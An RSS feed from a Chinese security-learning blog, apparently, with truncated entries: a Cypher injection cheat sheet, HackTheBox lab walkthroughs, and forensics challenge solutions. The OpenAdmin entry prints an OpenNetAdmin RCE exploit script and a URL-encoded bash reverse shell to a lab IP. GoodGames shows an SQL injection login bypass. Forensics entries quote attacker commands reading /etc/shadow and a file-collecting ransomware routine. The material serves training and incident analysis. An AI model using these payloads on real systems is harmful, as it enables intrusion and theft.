Super - 技能学习
type: channel
link: http://www.jzcheng.cn/category/Penetration/
description: 用于记录课外学习的笔记
items: Cypher 注入速查表
items: HTB：Forensics Challenges做题记录 (一)
items: [HackTheBox ProLabs] Dante Review
items: HackTheBox Nest （信息收集！信息收集）
items: HackTheBox GoodGames (Docker逃逸--主机非特权用户+容器root用户)
items: Hackthebox OpenAdmin （Easy）
items: [HTB-Sherlocks]Logjammer (Windows 日志分析）
items: [HTB-Sherlocks] Litter (DNS 隧道流量分析）
items: [HTB-Sherlocks] Meerkat (网站攻击流量分析)
items: [HTB-Sherlocks] Noted (Notepad++ 日志分析）

Cypher 注入速查表
type: item
date: 2025-03-02T16:28:00+08:00
description: [scode type="blue"]原文地址cypher-injection-cheatsheet,转载并翻译[/scode]发布于速查表栏目，2022年12月26日1. Cypher什么是Cypher？Cypher是(Open) Cypher Query Language的简称它是Neo4j的图查询语言，让您从图中检索数据。它类似于图数据库的SQL。它最初是为Neo4j设计的，但通过openCypher项目开放。现在它被许多其他数据库使用，包括RedisGraph、Spark、Amazon Neptune和SAP HANA Graph。Cypher查询语言参考，版本9图数据库图数据库与关系型数据库的比较 Relational databaseGraph databaseVendor examplesMySQL, Microsoft SQL ServerNeo4j, RedisGraph, Amazon NeptuneWhat it looks likeTables, rows, columns:Graphs, nodes, relationships: 有趣的事实：Neo4j被BloodHound使用。图数据库基础图数据库可以使用以下元素存储任何类型的数据：节点 - 图数据记录关系 - 节点之间的链接（具有方向和类型）属性 - 存储节点或关系中数据的键/值对标签：节点或关系的类型来源Cypher查询查询组件来源来源注释//: 行内注释/* */: 多行注释基本查询MATCH子句// 获取所有具有"Fruit"标签的节点 MATCH (a:Fruit) RETURN a // 相当于SQL中的SELECT ... FROM // 获取具有特定属性的所有"Fruit"节点 MATCH (a:Fruit {title: 'Green Apple'}) RETURN a MATCH (a:Fruit) WHERE a.title = "Green Apple" RETURN a // 限制结果数量 MATCH (a:Fruit) RETURN a LIMIT 20 // 对结果排序 MATCH (a:Fruit) RETURN a ORDER BY titleCREATE子句// 创建单个节点 CREATE (n) // 创建多个节点 CREATE (n), (m) // 创建带标签的节点 CREATE (n:Person) // 创建带多个标签的节点 CREATE (n:Person:Swedish) // 创建节点并添加标签和属性 CREATE (n:Person {name: 'Andy', title: 'Developer'}) // 返回创建的节点 CREATE (a {name: 'Andy'}) RETURN a.name // 创建节点并设置属性 CREATE (n:Account) SET n.id=1, n.username="admin",n.password="password123" RETURN n获取数据库和节点信息检索标签检索图中的所有标签并删除重复项：MATCH (a) return DISTINCT labels(a)或CALL db.labels()或CALL db.labels() YIELD label或CALL db.labels() YIELD label AS x关于YIELDYIELD允许您选择返回哪些可用的结果字段（此处为label），并将它们存储在一个变量（x）中，该变量可以被查询的其余部分使用。使用变量并不是必需的。这种语法也是有效的（我不确定为什么）：CALL db.labels() YIELD label RETURN count(label) // 等同于 CALL db.labels() YIELD label AS x RETURN count(x)检索标签的属性MATCH (c) WHERE c.name = 'Spongebob' RETURN keys(c) // 删除重复项 MATCH (c:Character) RETURN DISTINCT keys(c)列出数据库SHOW databases转储数据库中的所有节点USE myDatabase // 选择要查询的数据库 MATCH (n) RETURN n列出当前用户SHOW CURRENT USER列出所有用户SHOW USERS列出可用的过程SHOW procedures // 或 CALL dbms.procedures()列出可用的函数CALL dbms.functions()列出用户角色// 切换到系统数据库，然后列出角色 USE system CALL dbms.security.listR…

HTB：Forensics Challenges做题记录 (一)
type: item
date: 2024-12-07T19:16:20+08:00
description: An unnusal sighting 分类Forensics难度Very Easy知识点ssh日志分析WriteupOperating Hours of Korp: 0900 - 1900两个文件. ├── bash_history.txt └── sshd.log第一个问题： What is the IP Address and Port of the SSH Server (IP:PORT)[2024-01-28 15:24:23] Connection from 100.72.1.95 port 47721 on 100.107.36.130 port 2221 rdomain ""ip：port => 100.107.36.130:2221第二个问题：What time is the first successful Login[2024-02-13 11:29:50] Connection from 100.81.51.199 port 63172 on 100.107.36.130 port 2221 rdomain "" [2024-02-13 11:29:50] Failed publickey for root from 100.81.51.199 port 63172 ssh2: ECDSA SHA256:NdSnAx2935O7s2KX4LyvIV0gCzzQW5eXYoiiIBosqNE [2024-02-13 11:29:50] Accepted password for root from 100.81.51.199 port 63172 ssh2时间为： 2024-02-13 11:29:50第三个问题： What is the time of the unusual Login[2024-02-19 04:00:14] Connection from 2.67.182.119 port 60071 on 100.107.36.130 port 2221 rdomain "" [2024-02-19 04:00:14] Failed publickey for root from 2.67.182.119 port 60071 ssh2: ECDSA SHA256:OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4 [2024-02-19 04:00:14] Accepted password for root from 2.67.182.119 port 60071 ssh2 [2024-02-19 04:00:14] Starting session: shell on pts/2 for root from 2.67.182.119 port 60071 id 0 [2024-02-19 04:38:17] syslogin_perform_logout: logout() returned an error [2024-02-19 04:38:17] Received disconnect from 2.67.182.119 port 60071:11: disconnected by user [2024-02-19 04:38:17] Disconnected from user root 2.67.182.119 port 60071操作时间为9:00-19:00只有这一处时间不正常不正常的登陆时间为 2024-02-19 04:00:14第四个问题：What is the Fingerprint of the attacker's public key如上，攻击者公钥为 OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4第五个问题：What is the first command the attacker executed after logging in攻击者登陆后执行的第一个命令：[2024-02-19 04:00:18] whoami [2024-02-19 04:00:20] uname -a [2024-02-19 04:00:40] cat /etc/passwd [2024-02-19 04:01:01] cat /etc/shadow [2024-02-19 04:01:15] ps faux [2024-02-19 04:02:27] wget https://gnu-packages.com/prebuilts/iproute2/latest.tar.gz -O /tmp/latest_iproute.tar.gz [2024-02-19 04:10:02] tar xvf latest…

[HackTheBox ProLabs] Dante Review
type: item
date: 2024-08-21T17:25:00+08:00
description: [button color="info" icon="" url="https://app.hackthebox.com/prolabs/overview/dante" type="round"]DANTE PROLABS Link[/button][scode type="yellow"]该靶机虽然是Beginner难度,但我也用了一周的时间来做以及消化其中的思路和方法[/scode][scode type="blue"]本篇文章不涉及任何Flag的透露。(但涉及一些环境的剧透)[/scode]简介Dante 是一个适合初学者的现代化 Pro Lab，提供学习常见渗透测试方法。Dante的机器有些老旧，过时，使用一些2021年之后的漏洞几乎可以通杀（Linux、Windows机器的PrivEsc），但毋庸置疑的是，Dante一个适合学习渗透思路和流程的优秀机器。在该Pro Labs中，可以学习到许多Web漏洞、Linux漏洞以及Windows漏洞，可以让我们熟练掌握现代化渗透测试工具的使用，如Metasploit框架，Cobalt Strike工具，多级代理工具的使用。在官方的介绍中，Dante是由14台机器组成（最后通关发现似乎只有13台，FW01未能到达），共计27个Flag。网络环境（Dante 是共享靶机，应该是每天重置一次，因此在打靶过程中要做好笔记，找好立足点，以便于靶机重置后能够快速开始接下来的渗透）完成Dante后，对Dante的网络环境做了一个简单的梳理，大概有 2 个子网网段(172.16.1.1/24和172.16.2.1/24),根据Dante的机器,做了一个简单的拓扑图多级网络, 因此需要进行尝试进行多层代理第一次打Dante使用ssh -D搭建socks5隧道,配合Proxychains进行渗透,但感觉太麻烦了,在全部打完后,了解到根据Ligolo-Ng,操作简单易上手,但对于Double Piovting,还是有些不太熟悉.通过Dante的网络环境,我也使用Cobalt Strike进行上线,结果如图:(cs似乎不支持linux 机器作为中转监听器,还没找到解决方法)建议与总结Dante 不难,主要在于信息收集,不要遗漏可能存在信息的地方.十几台机器之间也是有通用的地方,比如账号密码(凭据), 收集到的信息(凭据,端口等)要做好记录,可能存在漏洞的地方都要尝试一下,不用着急速通.这种存在多个网段/多台机器的环境,每拿到一个机器的权限,要记得尝试ping一下,查看是否存在其他存活机器.Dante的机器有些老了,可以先尝试使用一些危害比较大的漏洞(如ms17-010),之后可以尝试去找预期解法.Dante里还有几个二进制的题目(不会),但都可以非预期(bushi)

HackTheBox Nest （信息收集！信息收集）
type: item
date: 2024-08-07T20:22:32+08:00
description: 信息 系统Linux难度Easy状态退役IP/靶机地址https://app.hackthebox.com/machines/Nest$ nmap -p445,4386 -sC -sV 10.129.147.65 -oA nmapres/details PORT STATE SERVICE VERSION 445/tcp open microsoft-ds? 4386/tcp open unknown | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: | Reporting Service V1.2 | FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: | Reporting Service V1.2 | Unrecognised command | Help: | Reporting Service V1.2 | This service allows users to run queries against databases using the legacy HQK format | AVAILABLE COMMANDS --- | LIST | SETDIR <Directory_Name> | RUNQUERY <Query_ID> | DEBUG <Password> |_ HELP <Command>初探4386端口$ nc 10.129.147.65 4386 HQK Reporting Service V1.2 >help ^C使用nc连接，挂起后没有反应使用telnet就可以了└─$ telnet 10.129.147.65 4386 Trying 10.129.147.65... Connected to 10.129.147.65. Escape character is '^]'. HQK Reporting Service V1.2 >help This service allows users to run queries against databases using the legacy HQK format --- AVAILABLE COMMANDS --- LIST SETDIR <Directory_Name> RUNQUERY <Query_ID> DEBUG <Password> HELP <Command>445端口$ smbclient -L \\10.129.147.65 $ crackmapexec smb 10.129.147.65 -u 'guest' -p '' --shares $ smbmap -u guest -p '' -H 10.129.147.65 [+] IP: 10.129.147.65:445 Name: 10.129.147.65 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share Data READ ONLY IPC$ NO ACCESS Remote IPC Secure$ NO ACCESS Users READ ONLY $ smbclient -N \\\\10.129.147.65\\Data smb: \Shared\> get "Templates\HR\Welcome Email.txt" - Username: TempUser Password: welcome2019 $ smbclient -N \\\\10.129.147.65\\Users smb: \> ls Administrator C.Smith L.Frost R.Thompson TempUser // 使用新获得的凭据登陆可以获得更多信息 $ smbclient -U 'TempUser%welcome2019' \\\\10.129.147.65\\Data smb: \> recurse smb: \> prompt sm…

HackTheBox GoodGames (Docker逃逸--主机非特权用户+容器root用户)
type: item
date: 2024-08-06T22:28:58+08:00
description: 信息 系统Linux难度Easy状态退役IP10.129.96.71靶机地址https://app.hackthebox.com/machines/446$ nmap -sC -sV -p80 -O -oA nmapres/detail 80/tcp open http Apache httpd 2.4.48 http-title: GoodGames Community and Store http-server-header: Werkzeug/2.0.2 Python/3.9.2只开放了应该 80端口,python写的访问网站在网站页脚看到一个域名goodgames.htb,加到/etc/hosts中目录扫描和vhost扫描$ gobuster dir -k -u http://goodgames.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --exclude-length 9265 /blog (Status: 200) [Size: 44212] /login (Status: 200) [Size: 9294] /profile (Status: 200) [Size: 9267] /signup (Status: 200) [Size: 33387] /logout (Status: 302) [Size: 208] [--> http://goodgames.htb/]网站基本都是静态页面,唯一与服务端有交互的也就只有登陆框了尝试万能密码(前端有邮箱格式限制,使用Burpsuite抓包绕过)POST /login HTTP/1.1 Host: goodgames.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 30 Origin: http://goodgames.htb Connection: keep-alive Referer: http://goodgames.htb/ Upgrade-Insecure-Requests: 1 email=1'+or+1=1#&password=1111放包后成功登陆到管理员用户后台就一个更改用户密码的功能,还不能正常使用,设置跳转到域名http://internal-administration.goodgames.htb/,将该子域名添加到/etc/hosts中再次访问是Flask Volt的登陆界面,同样需要账号密码上面存在万能密码登陆的界面即存在sql注入SQLMap启动,将上面的POST请求存为req.txt$ sqlmap -r req.txt --batch --dbs available databases [2]: [*] information_schema [*] main $ sqlmap -r req.txt --batch -D main --tables +---------------+ | user | | blog | | blog_comments | +---------------+ $ sqlmap -r req.txt --batch -D main -T user --columns +----------+--------------+ | Column | Type | +----------+--------------+ | name | varchar(255) | | email | varchar(255) | | id | int | | password | varchar(255) | +----------+--------------+ $ sqlmap -r req.txt --batch -D main -T user -C +--------+---------------------+----+---------------------------------------------+ | name | email…

Hackthebox OpenAdmin （Easy）
type: item
date: 2024-08-05T00:10:41+08:00
description: [scode type="share"]hw夜班值守偷偷打台简单的机器[/scode]信息 系统Linux难度Easy状态退役IP10.10.10.171靶机地址https://app.hackthebox.com/machines/222$ nmap -p22,80 -sC -sV -A -O 10.10.10.171 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA) | 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA) |_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works$ dirsearch -u http://10.10.10.171 $ gobuster dir -u http://10.10.10.171/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt /music -> http://10.10.10.171/music/ /ona -> http://10.10.10.171/ona/ /artwork (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]/music和/artwork都是静态页面/ona/ 是 OpenNetAdmin 18.1.1,存在历史RCE漏洞$ searchsploit ona 18.1.1 OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/47691.sh漏洞利用脚本#!/bin/bash URL="${1}" while true;do echo -n "$ "; read cmd curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 doneFoothold运行 bash 47691.sh http://10.10.10.171/ona/反弹shell，需将payload 进行url 编码bash%20%2Dc%20%27%2Fbin%2Fbash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E16%2E6%2F1234%200%3E%261%27加固python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm Ctrl + Z stty raw -echo; fg横向移动/opt/ona/www$ cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash joanna:x:1001:1001:,,,:/home/joanna:/bin/bash存在用户root,jimmy,joanna$ netstat -tunpl Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:…

[HTB-Sherlocks]Logjammer (Windows 日志分析）
type: item
date: 2024-08-04T15:57:00+08:00
description: 分类难度DFIREasy您有机会在一家大型咨询公司担任初级 DFIR 顾问。但是，他们提供了技术评估供您完成。咨询公司 Forela-Security 希望评估您的 Windows 事件日志分析知识。我们认为 Cyber​​junkie 用户登录了他的计算机并可能采取了恶意操作。请分析给定的事件日志并报告。TasksTask1: cyberjunkie第一次成功登录他的计算机是什么时候？ （UTC）Task2: 用户篡改了系统上的防火墙设置。分析防火墙事件日志以找出添加的防火墙规则的名称？Task3: 防火墙规则的方向是什么？Task4: 用户更改了计算机的审核策略。此更改政策的子类别是什么？Task5: 用户“cyberjunkie”创建了一个计划任务。这个任务的名字是什么？Task6: 为任务安排的文件的完整路径是什么？Task7: 该命令的参数是什么？Task8: 系统上运行的防病毒软件识别出威胁并对其执行操作。哪个工具被防病毒软件识别为恶意软件？Task9: 引发警报的恶意软件的完整路径是什么？Task10: 防病毒软件采取了什么行动？Task11: 用户使用Powershell执行命令。用户执行了什么命令？Task12: 我们怀疑用户删除了一些事件日志。哪个事件日志文件被清除？附件下载完成解压后得到5个evtx文件Powershell-Operational.evtx: 系统上 PowerShell 活动的记录，可以包括执行的命令、运行的脚本以及执行期间生成的任何错误或警告。Security.evtx: 与系统上的安全事件相关的记录，包括用户身份验证、权限更改、帐户管理和安全策略更改。System.evtx: 捕获系统级事件，例如启动和关闭进程、驱动程序和服务故障、硬件配置更改以及系统资源利用率。Windows Defender-Operational.evtx - 记录 Windows Defender 的活动和状态，包括恶意软件检测、扫描、更新以及 Windows Defender 管理的任何其他安全相关事件。Windows Firewall-Firewall - 记录与防火墙相关的事件，例如允许和阻止的网络连接、规则更改以及防火墙服务启动和关闭事件。工具推荐： EvtxECmd.exe,jq,grep 等。使用 EvtxECmd.exe将evtx格式转成json格式EventId事件4624成功登陆2004windows防火墙添加一条规则2005修改防火墙规则2006删除防火墙规则2010网络接口的配置文件发生修改2033所有防火墙规则都被删除2051和2033成对出现4719系统审计策略更改4698创建计划任务1000反恶意软件扫描已开始1001反恶意软件扫描已完成1002反恶意软件扫描在完成之前已停止1003反恶意软件扫描已暂停1004反恶意软件扫描已恢复分析过程文件格式转换，并另存为all.json.\EvtxECmd.exe -d E:\htb\Sherlocks\logjammer\Event-Logs\ --json .(或者将上述evtx文件逐个转化为json文件，但这样做就需要知道每个文件的作用)登陆成功相关4624成功登陆成功登陆的 EventId 为4624,因此只需要重点关注 EventId == 4624这个条件在此之前，我们先看一下json日志的组成└─$ cat Security.json | jq -s '.[0]' { "PayloadData1": "SID: (S-1-5-21-3393683511-3463148672-371912004-1001)", "UserName": "DESKTOP-887GK2L\\CyberJunkie", "MapDescription": "Event log cleared", "ChunkNumber": 0, "Computer": "DESKTOP-887GK2L", "Payload": "{\"UserData\":{\"LogFileCleared\":{\"SubjectUserSid\":\"S-1-5-21-3393683511-3463148672-371912004-1001\",\"SubjectUserName\":\"CyberJunkie\",\"SubjectDomainName\":\"DESKTOP-887GK2L\",\"SubjectLogonId\":\"0x25235\"}}}", "Channel": "Security", "Provider": "Microsoft-Windows-Eventlog", "EventId": 1102, "EventRecordId": "13020"…

[HTB-Sherlocks] Litter (DNS 隧道流量分析）
type: item
date: 2024-07-29T18:42:40+08:00
description: 分类难度SOCEasyKhalid 刚刚登录了一台主机，他和他的团队将其用作测试主机，用于许多不同的目的。它脱离了公司网络，但可以访问网络上的大量资源。该主机被公司很多人用作垃圾场，但它非常有用，所以没有人提出任何问题。哈立德对此一无所知；机器已被破坏，不应该存在的公司信息现在已被盗 - 您需要弄清楚发生了什么以及哪些数据被盗取。TasksTask1: 乍一看，这次攻击似乎可疑的是哪种协议？Task2: 我们的主机与另一台主机之间似乎存在大量流量，可疑主机的 IP 地址是多少？Task3: 攻击者向客户端发送的第一个命令是什么？Task4: 攻击者使用的 DNS 隧道工具的版本是什么？Task5: 攻击者试图重命名他们意外留在客户端主机上的工具。他们给它起什么名字？Task6: 攻击者尝试枚举用户的云存储。他们在云存储目录中找到了多少文件？Task7: 被盗 PII 文件的完整位置是什么？Task8: 到底有多少客户 PII 记录被盗？推荐工具: wireshark, tshark, Brim Zui, zeek,suricata等分析过程下载完成解压后是一个pcap的流量包,使用wireshark 打开查看统计->协议分级,查看都有什么协议,在统计->端点中可以查看IP地址使用wireshark 看发现大部分都为dns协议,用suricata配合jq进行数据分析$ suricata -c /etc/suricata/suricata.yaml -r suspicious_traffic.pcap -l log // 生成文件 eve.json fast.log stats.log suricata.log // 随便看一下第一个 $ cat eve.json | jq -s '.[0]' { "timestamp": "2023-04-30T18:26:57.675436+0800", "flow_id": 367704534995173, "pcap_cnt": 21, "event_type": "dns", "src_ip": "192.168.157.144", "src_port": 59935, "dest_ip": "192.168.157.2", "dest_port": 53, "proto": "UDP", "pkt_src": "wire/pcap", "dns": { "type": "query", "id": 7728, "rrname": "buyadvupfor24.com", "rrtype": "A", "tx_id": 0, "opcode": 0 } }event_type 为协议类型,dns下的rrname为请求的域名吧(应该)统计一下协议的类型有哪些,并按照次数进行排序$ cat eve.json | jq -s '.[] | .event_type' | sort | uniq -c | sort -nr 12353 "dns" 1439 "flow" 361 "quic" 289 "tls" 122 "http" 120 "fileinfo" 5 "dhcp" 2 "ssh" 1 "stats"dns 协议占大头,因此猜测这次可疑的攻击使用的是DNS协议(Task 1),后续还会有验证接下来统计一下ip地址有哪些? 依旧是使用命令行:因为使用的是DNS协议,目标主机的端口应该多为53 $ cat eve.json | jq -s '.[] | if .dest_port == 53 then .dest_ip else empty end' | sort | uniq -c | sort -nr 10894 "192.168.157.145" 2161 "192.168.157.2"这段命令的含义:判断 目的端口是都为 53,如果是则输出对应的目的ip,否则不输出,然后再对这些ip地址进行去重,排序最多的ip地址为192.168.157.145(Task 2),为可疑的IP主机或者使用tshark进行统计$ tshark -r suspicious_traffic.pcap -Y 'udp.dstport == 53' -T fields -e 'ip.dst' | sort | uniq -c | sort -nr 5451 192.168.157.145 750 192.168.157.2 12 192.168.157.144,192.168.157.145结果同上。在分析过程中，发现dns的query中有很多类似于6bea00688135660021636f6d6d616e6420284445534b544f502d554d4e43.4245372900.microsof…

[HTB-Sherlocks] Meerkat (网站攻击流量分析)
type: item
date: 2024-07-27T01:36:00+08:00
description: 分类难度SOCEasySherlock Scenario作为一家快速发展的初创公司，Forela 一直在利用业务管理平台。不幸的是，我们的文档很少，而且我们的管理员也不是最有安全意识的。作为我们新的安全提供商，我们希望您查看我们导出的一些 PCAP 和日志数据，以确认我们是否已（或尚未）受到损害。TasksTask 1: 请确认正在运行的应用程序的名称？Task 2: 我们认为攻击者可能使用了暴力破解攻击类别的子集 - 所执行的攻击的名称是什么？Task 3: 所利用的漏洞是否分配有 CVE - 如果有，是哪一个？Task 4: 攻击者利用哪个字符串附加到 API URL 路径来绕过授权过滤器？Task 5: 撞库攻击中使用了多少种用户名和密码组合？Task 6: 哪个用户名和密码组合成功？Task 7: 如果有的话，攻击者使用了哪个文本共享网站？Task 8: 请提供攻击者用于在我们的主机上获得持久性的公钥的文件名。Task 9: 您能否确认攻击者修改的文件以获得持久性？Task 10: 您能确认一下此类持久化机制的MITRE技术ID吗？相关工具： jq, wireshark分析流程两个文件，meerkat-alerts.json和meerkat.pcap使用 wireshark 分析流量包，统计-> 协议分级主要是IPV4, 有一些HTTP,SSH,DNS在统计->端点可以看到有151个IPV4分析一下日志(json文件),这里查看第一个$ cat meerkat-alerts.json | jq '.[0]' { "ts": "2023-01-19T15:44:49.669971Z", "event_type": "alert", "src_ip": "89.248.165.187", "src_port": 52870, "dest_ip": "172.31.6.44", "dest_port": 10227, "vlan": null, "proto": "TCP", "app_proto": null, "alert": { "severity": 2, "signature": "ET CINS Active Threat Intelligence Poor Reputation IP group 82", "category": "Misc Attack", "action": "allowed", "signature_id": 2403381, "gid": 1, "rev": 80387, "metadata": { "signature_severity": [ "Major" ], "former_category": null, "attack_target": [ "Any" ], "deployment": [ "Perimeter" ], "affected_product": [ "Any" ], "created_at": [ "2013_10_08" ], "performance_impact": null, "updated_at": [ "2023_01_18" ], "malware_family": null, "tag": [ "CINS" ] } }, "flow_id": 519087154346259, "pcap_cnt": 6292, "tx_id": null, "icmp_code": null, "icmp_type": null, "tunnel": null, "community_id": "1:+BXi7peXaBKuiEO4y3Ya0UlQMMQ=" }event_type为alert,统计一下event_type有哪些值$ cat meerkat-alerts.json | jq '.[] | .event_type' | sort | uniq -c | sort -nr 261 "alert" 2 null只有alert和null接着统计一下alert中的signature的值$ cat meerkat-alerts.json | jq '.[] | .alert.signature'| sort | uniq -c | sort -nr 134 "ET INFO User-Agent (python-requests) Inbound to Webserver" 59 "ET WEB_SPECIFIC_APPS Bonitasoft Default User Login Attempt M1 (Possible Staging for CVE-2022-25237)" 17 "ET DROP Dshield Block Listed Sour…

[HTB-Sherlocks] Noted (Notepad++ 日志分析）
type: item
date: 2024-07-26T01:41:28+08:00
description: 分类难度DFIREasySimon 是 Forela 的一名开发人员，他向 CERT 团队通报了他桌面上出现的一条注释。该说明声称他的系统已被破坏，并且西蒙工作站的敏感数据已被收集。犯罪者在他的工作站上进行了数据勒索，现在威胁要在暗网上发布数据，除非他们的要求得到满足。 Simon 的工作站包含多个敏感文件，包括计划的软件项目、内部开发计划和应用程序代码库。威胁情报团队认为威胁行为者犯了一些错误，但他们尚未找到任何联系威胁行为者的方式。该公司的利益相关者坚持要求解决这一事件并恢复所有敏感数据。他们要求在任何情况下都不得泄露数据。作为我们的初级安全分析师，在此案例中，您被分配进行特定类型的 DFIR（数字取证和事件响应）调查。 CERT 负责人在对工作站进行分类后，仅向您提供了 Notepad++ 工件，怀疑攻击者创建了勒索记录并通过手动键盘访问进行了其他活动。您的职责是确定攻击是如何发生的，并找到联系威胁行为者的方法，因为他们不小心锁定了自己的联系信息。TasksTask 1: Simon 用于 AWS 操作的脚本的完整路径是什么？Task 2: 攻击者复制了一些程序代码并将其编译在系统上，因为他们知道受害者是一名软件工程师并且拥有所有必要的实用程序。他们这样做是为了融入环境，并且没有携带任何工具。该代码收集敏感数据并准备将其泄露。程序源文件的完整路径是什么？Task 3: 包含所有要泄露的数据的最终存档文件的名称是什么？Task 4: 攻击者最后一次修改程序源文件时的 UTC 时间戳是多少？Task 5: 攻击者在窃取数据后编写了数据勒索记录。攻击者要求付款的加密钱包地址是什么？Task 6: 寻求支持的联系人的电子邮件地址是什么？分析过程将文件下载解压之后$ tree . └── C └── Users └── Simon.stark └── AppData └── Roaming └── Notepad++ ├── backup │ ├── LootAndPurge.java@2023-07-24_145332 │ └── YOU HAVE BEEN HACKED.txt@2023-07-24_150548 ├── config.xml └── session.xml只有四个文件java文件的main函数public static void main(String[] args) { String username = System.getProperty("user.name"); String desktopDirectory = "C:\\Users\\" + username + "\\Desktop\\"; List<String> extensions = Arrays.asList("zip", "docx", "ppt", "xls", "md", "txt", "pdf"); List<File> collectedFiles = new ArrayList<>(); collectFiles(new File(desktopDirectory), extensions, collectedFiles); String zipFilePath = desktopDirectory + "Forela-Dev-Data.zip"; String password = "sdklY57BLghvyh5FJ#fion_7"; createZipArchive(collectedFiles, zipFilePath, password); System.out.println("Zip archive created successfully at: " + zipFilePath); }源码的功能是将用户桌面上的这些后缀的文件打包为压缩包Forela-Dev-Data.zip(Task 3)，密码为sdklY57BLghvyh5FJ#fion_7.文件YOU HAVE BEEN HACKED.txt@2023-07-24_150548是勒索文件的介绍内容，其中有三个链接Hello This note is placed in your desktop and copied to other locations too. You have been hacked and your data has been deleted from your system. We made copies of your sensitive data and uploaded to our servers. The rule is simple YOU PAY US AND WE DO NOT RELEASE YOUR COMP…